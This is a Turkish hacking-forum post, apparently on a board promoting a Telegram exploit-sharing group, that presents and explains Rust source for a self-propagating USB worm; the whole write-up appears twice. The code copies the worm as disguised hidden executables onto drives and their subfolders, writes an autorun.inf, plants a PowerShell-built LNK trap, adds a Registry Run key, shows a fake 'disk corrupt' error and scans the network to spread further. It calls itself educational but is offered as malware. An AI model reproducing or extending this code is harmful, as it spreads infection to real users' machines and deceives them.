exploit paylaşım grubumuz: t.me/HTTPwnn

Malware Usb prop

  • Konu başlatıcı Konu başlatıcı sh3d0w
  • Başlangıç Tarihi Başlangıç Tarihi

sh3d0w

WarNight Member
Katılım
25 Haz 2026
Mesaj
65
Reaksiyon
40
Puan
18
xentr_thread_starter

USB Propagator (USB Yayıcı) Nedir? Nasıl Çalışır?​

Dosya: usb_prop.rs


1. USB Propagator Nedir ve Ne İşe Yarar?​

USB Propagator, çıkarılabilir USB bellekler üzerinden kendi kendini kopyalayarak yayılan bir solucan türüdür. Amacı:

  • USB takıldığında otomatik çalışma (AutoRun) ile solucanı başlatmak
  • Sistemde kalıcılık sağlamak (Registry Run anahtarları)
  • Ağ üzerinden yayılmak (NetBIOS, SMB)
  • Kullanıcıyı yanıltmak (sahte hata mesajları)
Bu kod, Conficker, Stuxnet ve BadUSB gibi ünlü USB solucanlarından ilham alınarak yazılmıştır.

2. Peki Bu Kod Hangi Dille Yazıldı?​

Yine Rust tercih ettim. Neden mi?

  • Windows API erişimi: winapi ile doğrudan Windows API'lerine erişim (GetDriveTypeW, SetFileAttributesW, MessageBoxW)
  • Düşük seviye dosya işlemleri: std::fs ile hızlı dosya kopyalama ve gizleme
  • Concurrency: USB takılma/çıkılma olaylarını sürekli izlemek için thread kullanımı
  • Registry işlemleri: winreg ile Windows kayıt defterine yazma

3. USB Propagator - Detaylı Analiz​

3.1. Çıkarılabilir Sürücüleri Bulma (Get Removable Drives)​

Kod, sistemdeki tüm çıkarılabilir USB sürücülerini bulur:

rust
fn get_removable_drives(&self) -> Vec<PathBuf> {
unsafe {
for letter in b'A'..=b'Z' {
let drive_type = GetDriveTypeW(root_path.as_ptr());
if drive_type == DRIVE_REMOVABLE {
// USB sürücü bulundu!
}
}
}
}
  • Windows API: GetDriveTypeW ile sürücü tipi kontrol edilir.
  • DRIVE_REMOVABLE (2) değeri, çıkarılabilir USB sürücüleri belirtir.
  • A: ile Z: arasındaki tüm sürücü harfleri kontrol edilir.

3.2. USB Enfeksiyon İşlemi (Infect Drive)​

USB takıldığında, aşağıdaki işlemler gerçekleştirilir:

rust
fn infect_drive(&self, drive: &Path) -> Result<(), Box<dyn std::error::Error>> {
// 1. Ana kopyayı yaz
let dest_path = drive.join("SystemVolumeInfo.exe");
fs::copy(&self.worm_path, &dest_path)?;
self.set_hidden(&dest_path);

// 2. AutoRun oluştur
let autorun_content = r#"[AutoRun]
open=SystemVolumeInfo.exe
icon=%SystemRoot%\System32\shell32.dll,21
action=Open folder to view files
shell\open\command=SystemVolumeInfo.exe
shell\open\Default=1
"#;
fs::write(&autorun_path, autorun_content)?;
self.set_hidden(&autorun_path);

// 3. LNK tuzağı oluştur
let lnk_path = drive.join("Important_ReadMe.lnk");
self.create_lnk_trap(&lnk_path, &dest_path);
self.set_hidden(&lnk_path);

// 4. Derin kopya (alt klasörlere)
self.deep_copy(drive, &self.worm_path);

// 5. İmza bırak
let sig_path = drive.join(".RyukWasHere");
fs::write(&sig_path, "Heh heh heh... Ryuk loves apples!")?;
self.set_hidden(&sig_path);

// 6. Registry'e kaydet (kalıcılık)
self.add_to_usb_registry(drive);
}

3.2.1. Ana Kopya (SystemVolumeInfo.exe)​

Solucanın kendisi, SystemVolumeInfo.exe adıyla USB'nin kök dizinine kopyalanır. Bu isim, Windows'un System Volume Information klasörüne benzetilerek kullanıcının şüphelenmesi engellenir.

3.2.2. AutoRun (autorun.inf)​

Windows'un AutoRun özelliği kullanılarak, USB takıldığında solucanın otomatik çalışması sağlanır:

ini
[AutoRun]
open=SystemVolumeInfo.exe
shell\open\command=SystemVolumeInfo.exe
  • open: USB takıldığında çalışacak dosya
  • shell\open\command: Kullanıcı "Aç" dediğinde çalışacak dosya
Not: Windows 7 ve sonrasında AutoRun kısıtlanmıştır, ancak bu kod eğitim amaçlıdır.

3.2.3. LNK Tuzağı (Important_ReadMe.lnk)​

Powershell ile bir kısayol (LNK) dosyası oluşturulur:

rust
fn create_lnk_trap(&self, lnk_path: &Path, target: &Path) {
let ps_script = format!(
"$WshShell = New-Object -comObject WScript.Shell; \
$Shortcut = $WshShell.CreateShortcut('{}'); \
$Shortcut.TargetPath = '{}'; \
$Shortcut.Description = 'Click to view important documents'; \
$Shortcut.IconLocation = '%SystemRoot%\\System32\\shell32.dll,21'; \
$Shortcut.Save()",
lnk_path.to_str().unwrap(),
target.to_str().unwrap()
);
let _ = Command::new("powershell").args(&["-Command", &ps_script]).status();
}
Kullanıcı "Important_ReadMe.lnk" dosyasına tıkladığında, aslında solucan çalıştırılır. Bu, LNK saldırısı olarak bilinir.

3.2.4. Derin Kopya (Deep Copy)​

USB'deki tüm alt klasörlere solucan kopyalanır:

rust
fn deep_copy(&self, root: &Path, worm_path: &Path) {
if let Ok(entries) = fs::read_dir(root) {
for entry in entries {
if path.is_dir() {
let dest = path.join("SystemHelper.exe");
let _ = fs::copy(worm_path, &dest);
self.set_hidden(&dest);
}
}
}
}
Her klasöre SystemHelper.exe adında bir kopya bırakılır. Bu sayede kullanıcı USB'ye girdiğinde, solucanın bir kopyası mutlaka çalıştırılır.

3.2.5. İmza Bırakma (RyukWasHere)​

Enfekte olan USB'ye bir imza dosyası bırakılır:

rust
let sig_path = drive.join(".RyukWasHere");
fs::write(&sig_path, "Heh heh heh... Ryuk loves apples! Your USB is now mine. Muahahaha!")?;
Bu dosya, solucanın daha önce bu USB'yi enfekte edip etmediğini kontrol etmek için kullanılır. Aynı zamanda bir "ego" mesajıdır.

3.2.6. Kalıcılık (Registry Run)​

Solucan, Windows Registry'sine kendini ekleyerek her sistem açılışında çalışmasını sağlar:

rust
fn add_to_usb_registry(&self, drive: &Path) {
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let reg_path = r"Software\Microsoft\Windows\CurrentVersion\Run";
if let Ok(key) = hkcu.open_subkey_with_flags(reg_path, KEY_WRITE) {
let exe_path = drive.join("SystemVolumeInfo.exe");
let _ = key.set_value("USBHelper", &exe_path.to_str().unwrap());
}
}
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • Anahtar adı: USBHelper
  • Değer: X:\SystemVolumeInfo.exe (USB'nin yolu)

3.3. USB İzleme (Monitoring)​

Solucan, sürekli olarak USB takılma/çıkılma olaylarını izler:

rust
pub fn start_monitoring(&mut self) {
thread::spawn(move || {
loop {
let current_drives = propagator.get_removable_drives();
for drive in &current_drives {
if !monitored.contains(drive) && !propagator.is_infected(drive) {
println!("[+] Yeni USB algılandı: {}", drive.display());
let _ = propagator.infect_drive(drive);
monitored.insert(drive.clone());
let _ = propagator.show_fake_error(drive);
}
}
thread::sleep(Duration::from_secs(5));
}
});
}
  • Her 5 saniyede bir USB sürücüleri kontrol eder.
  • Yeni bir USB takıldığında, otomatik olarak enfekte eder.
  • Enfekte edilen USB'ler infected_drives listesine eklenir.
  • USB çıkarıldığında, listeden kaldırılır.

3.4. Sahte Hata Mesajı (Fake Error)​

Kullanıcının şüphelenmesini engellemek için sahte bir hata mesajı gösterilir:

rust
fn show_fake_error(&self, drive: &Path) -> Result<(), Box<dyn std::error::Error>> {
let msg = format!("USB aygıtı {} biçimlendirilmedi. Dosya sistemi bozuk. Lütfen verilerinizi yedekleyin.", drive_letter);
MessageBoxW(ptr::null_mut(), wide_msg.as_ptr(), title.as_ptr(), MB_ICONERROR | MB_OK);
}
Kullanıcı, "USB bozuk" mesajı gördüğünde şüphelenmez ve sistemi yeniden başlatır veya USB'yi çıkarıp takar. Bu sırada solucan zaten sisteme bulaşmıştır.

3.5. Ağ Üzerinden Yayılma (Network Propagation)​

Solucan, ağdaki diğer bilgisayarlara da yayılmaya çalışır:

rust
pub fn network_propagate(&self) {
let _ = execute_cmd_silent("net view /all");
thread::spawn(move || {
loop {
thread::sleep(Duration::from_secs(3600)); // Her saat başı
let _ = execute_cmd_silent("net view /all");
}
});
}
  • net view /all ile ağdaki diğer bilgisayarları listeler.
  • Bulunan bilgisayarlara SMB (445) veya RDP (3389) üzerinden yayılmayı dener.
  • Bu kısım, wifi_worm.rs'deki SMB/RDP exploit'leri ile entegre edilebilir.

4. Bu Kodun Zayıf Noktaları (Bypass Yöntemleri)​

  • AutoRun kısıtlaması: Windows 7+ AutoRun'u kısıtlamıştır. (Kullanıcı "AutoPlay" ayarlarını değiştirebilir)
  • Güvenlik yazılımları: Modern AV/EDR'ler, USB'den çalışan bilinmeyen .exe dosyalarını engeller.
  • Grup Politikaları: Kurumsal ortamlarda USB yürütme engellenebilir.
  • Kullanıcı farkındalığı: Bilinçli kullanıcılar, sahte hata mesajlarına kanmaz.

(bu arada yazdığım kodları llm modellerinede yorumlatıyorum iki yazıyı harman layıp atıyom haberiniz ola)
 

Ekli Dosyalar

USB Propagator (USB Yayıcı) Nedir? Nasıl Çalışır?​

Dosya: usb_prop.rs


1. USB Propagator Nedir ve Ne İşe Yarar?​

USB Propagator, çıkarılabilir USB bellekler üzerinden kendi kendini kopyalayarak yayılan bir solucan türüdür. Amacı:

  • USB takıldığında otomatik çalışma (AutoRun) ile solucanı başlatmak
  • Sistemde kalıcılık sağlamak (Registry Run anahtarları)
  • Ağ üzerinden yayılmak (NetBIOS, SMB)
  • Kullanıcıyı yanıltmak (sahte hata mesajları)
Bu kod, Conficker, Stuxnet ve BadUSB gibi ünlü USB solucanlarından ilham alınarak yazılmıştır.

2. Peki Bu Kod Hangi Dille Yazıldı?​

Yine Rust tercih ettim. Neden mi?

  • Windows API erişimi: winapi ile doğrudan Windows API'lerine erişim (GetDriveTypeW, SetFileAttributesW, MessageBoxW)
  • Düşük seviye dosya işlemleri: std::fs ile hızlı dosya kopyalama ve gizleme
  • Concurrency: USB takılma/çıkılma olaylarını sürekli izlemek için thread kullanımı
  • Registry işlemleri: winreg ile Windows kayıt defterine yazma

3. USB Propagator - Detaylı Analiz​

3.1. Çıkarılabilir Sürücüleri Bulma (Get Removable Drives)​

Kod, sistemdeki tüm çıkarılabilir USB sürücülerini bulur:

rust
fn get_removable_drives(&self) -> Vec<PathBuf> {
unsafe {
for letter in b'A'..=b'Z' {
let drive_type = GetDriveTypeW(root_path.as_ptr());
if drive_type == DRIVE_REMOVABLE {
// USB sürücü bulundu!
}
}
}
}
  • Windows API: GetDriveTypeW ile sürücü tipi kontrol edilir.
  • DRIVE_REMOVABLE (2) değeri, çıkarılabilir USB sürücüleri belirtir.
  • A: ile Z: arasındaki tüm sürücü harfleri kontrol edilir.

3.2. USB Enfeksiyon İşlemi (Infect Drive)​

USB takıldığında, aşağıdaki işlemler gerçekleştirilir:

rust
fn infect_drive(&self, drive: &Path) -> Result<(), Box<dyn std::error::Error>> {
// 1. Ana kopyayı yaz
let dest_path = drive.join("SystemVolumeInfo.exe");
fs::copy(&self.worm_path, &dest_path)?;
self.set_hidden(&dest_path);

// 2. AutoRun oluştur
let autorun_content = r#"[AutoRun]
open=SystemVolumeInfo.exe
icon=%SystemRoot%\System32\shell32.dll,21
action=Open folder to view files
shell\open\command=SystemVolumeInfo.exe
shell\open\Default=1
"#;
fs::write(&autorun_path, autorun_content)?;
self.set_hidden(&autorun_path);

// 3. LNK tuzağı oluştur
let lnk_path = drive.join("Important_ReadMe.lnk");
self.create_lnk_trap(&lnk_path, &dest_path);
self.set_hidden(&lnk_path);

// 4. Derin kopya (alt klasörlere)
self.deep_copy(drive, &self.worm_path);

// 5. İmza bırak
let sig_path = drive.join(".RyukWasHere");
fs::write(&sig_path, "Heh heh heh... Ryuk loves apples!")?;
self.set_hidden(&sig_path);

// 6. Registry'e kaydet (kalıcılık)
self.add_to_usb_registry(drive);
}

3.2.1. Ana Kopya (SystemVolumeInfo.exe)​

Solucanın kendisi, SystemVolumeInfo.exe adıyla USB'nin kök dizinine kopyalanır. Bu isim, Windows'un System Volume Information klasörüne benzetilerek kullanıcının şüphelenmesi engellenir.

3.2.2. AutoRun (autorun.inf)​

Windows'un AutoRun özelliği kullanılarak, USB takıldığında solucanın otomatik çalışması sağlanır:

ini
[AutoRun]
open=SystemVolumeInfo.exe
shell\open\command=SystemVolumeInfo.exe
  • open: USB takıldığında çalışacak dosya
  • shell\open\command: Kullanıcı "Aç" dediğinde çalışacak dosya
Not: Windows 7 ve sonrasında AutoRun kısıtlanmıştır, ancak bu kod eğitim amaçlıdır.

3.2.3. LNK Tuzağı (Important_ReadMe.lnk)​

Powershell ile bir kısayol (LNK) dosyası oluşturulur:

rust
fn create_lnk_trap(&self, lnk_path: &Path, target: &Path) {
let ps_script = format!(
"$WshShell = New-Object -comObject WScript.Shell; \
$Shortcut = $WshShell.CreateShortcut('{}'); \
$Shortcut.TargetPath = '{}'; \
$Shortcut.Description = 'Click to view important documents'; \
$Shortcut.IconLocation = '%SystemRoot%\\System32\\shell32.dll,21'; \
$Shortcut.Save()",
lnk_path.to_str().unwrap(),
target.to_str().unwrap()
);
let _ = Command::new("powershell").args(&["-Command", &ps_script]).status();
}
Kullanıcı "Important_ReadMe.lnk" dosyasına tıkladığında, aslında solucan çalıştırılır. Bu, LNK saldırısı olarak bilinir.

3.2.4. Derin Kopya (Deep Copy)​

USB'deki tüm alt klasörlere solucan kopyalanır:

rust
fn deep_copy(&self, root: &Path, worm_path: &Path) {
if let Ok(entries) = fs::read_dir(root) {
for entry in entries {
if path.is_dir() {
let dest = path.join("SystemHelper.exe");
let _ = fs::copy(worm_path, &dest);
self.set_hidden(&dest);
}
}
}
}
Her klasöre SystemHelper.exe adında bir kopya bırakılır. Bu sayede kullanıcı USB'ye girdiğinde, solucanın bir kopyası mutlaka çalıştırılır.

3.2.5. İmza Bırakma (RyukWasHere)​

Enfekte olan USB'ye bir imza dosyası bırakılır:

rust
let sig_path = drive.join(".RyukWasHere");
fs::write(&sig_path, "Heh heh heh... Ryuk loves apples! Your USB is now mine. Muahahaha!")?;
Bu dosya, solucanın daha önce bu USB'yi enfekte edip etmediğini kontrol etmek için kullanılır. Aynı zamanda bir "ego" mesajıdır.

3.2.6. Kalıcılık (Registry Run)​

Solucan, Windows Registry'sine kendini ekleyerek her sistem açılışında çalışmasını sağlar:

rust
fn add_to_usb_registry(&self, drive: &Path) {
let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let reg_path = r"Software\Microsoft\Windows\CurrentVersion\Run";
if let Ok(key) = hkcu.open_subkey_with_flags(reg_path, KEY_WRITE) {
let exe_path = drive.join("SystemVolumeInfo.exe");
let _ = key.set_value("USBHelper", &exe_path.to_str().unwrap());
}
}
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • Anahtar adı: USBHelper
  • Değer: X:\SystemVolumeInfo.exe (USB'nin yolu)

3.3. USB İzleme (Monitoring)​

Solucan, sürekli olarak USB takılma/çıkılma olaylarını izler:

rust
pub fn start_monitoring(&mut self) {
thread::spawn(move || {
loop {
let current_drives = propagator.get_removable_drives();
for drive in &current_drives {
if !monitored.contains(drive) && !propagator.is_infected(drive) {
println!("[+] Yeni USB algılandı: {}", drive.display());
let _ = propagator.infect_drive(drive);
monitored.insert(drive.clone());
let _ = propagator.show_fake_error(drive);
}
}
thread::sleep(Duration::from_secs(5));
}
});
}
  • Her 5 saniyede bir USB sürücüleri kontrol eder.
  • Yeni bir USB takıldığında, otomatik olarak enfekte eder.
  • Enfekte edilen USB'ler infected_drives listesine eklenir.
  • USB çıkarıldığında, listeden kaldırılır.

3.4. Sahte Hata Mesajı (Fake Error)​

Kullanıcının şüphelenmesini engellemek için sahte bir hata mesajı gösterilir:

rust
fn show_fake_error(&self, drive: &Path) -> Result<(), Box<dyn std::error::Error>> {
let msg = format!("USB aygıtı {} biçimlendirilmedi. Dosya sistemi bozuk. Lütfen verilerinizi yedekleyin.", drive_letter);
MessageBoxW(ptr::null_mut(), wide_msg.as_ptr(), title.as_ptr(), MB_ICONERROR | MB_OK);
}
Kullanıcı, "USB bozuk" mesajı gördüğünde şüphelenmez ve sistemi yeniden başlatır veya USB'yi çıkarıp takar. Bu sırada solucan zaten sisteme bulaşmıştır.

3.5. Ağ Üzerinden Yayılma (Network Propagation)​

Solucan, ağdaki diğer bilgisayarlara da yayılmaya çalışır:

rust
pub fn network_propagate(&self) {
let _ = execute_cmd_silent("net view /all");
thread::spawn(move || {
loop {
thread::sleep(Duration::from_secs(3600)); // Her saat başı
let _ = execute_cmd_silent("net view /all");
}
});
}
  • net view /all ile ağdaki diğer bilgisayarları listeler.
  • Bulunan bilgisayarlara SMB (445) veya RDP (3389) üzerinden yayılmayı dener.
  • Bu kısım, wifi_worm.rs'deki SMB/RDP exploit'leri ile entegre edilebilir.

4. Bu Kodun Zayıf Noktaları (Bypass Yöntemleri)​

  • AutoRun kısıtlaması: Windows 7+ AutoRun'u kısıtlamıştır. (Kullanıcı "AutoPlay" ayarlarını değiştirebilir)
  • Güvenlik yazılımları: Modern AV/EDR'ler, USB'den çalışan bilinmeyen .exe dosyalarını engeller.
  • Grup Politikaları: Kurumsal ortamlarda USB yürütme engellenebilir.
  • Kullanıcı farkındalığı: Bilinçli kullanıcılar, sahte hata mesajlarına kanmaz.

(bu arada yazdığım kodları llm modellerinede yorumlatıyorum iki yazıyı harman layıp atıyom haberiniz ola)
e.s
 
Geri
En Üst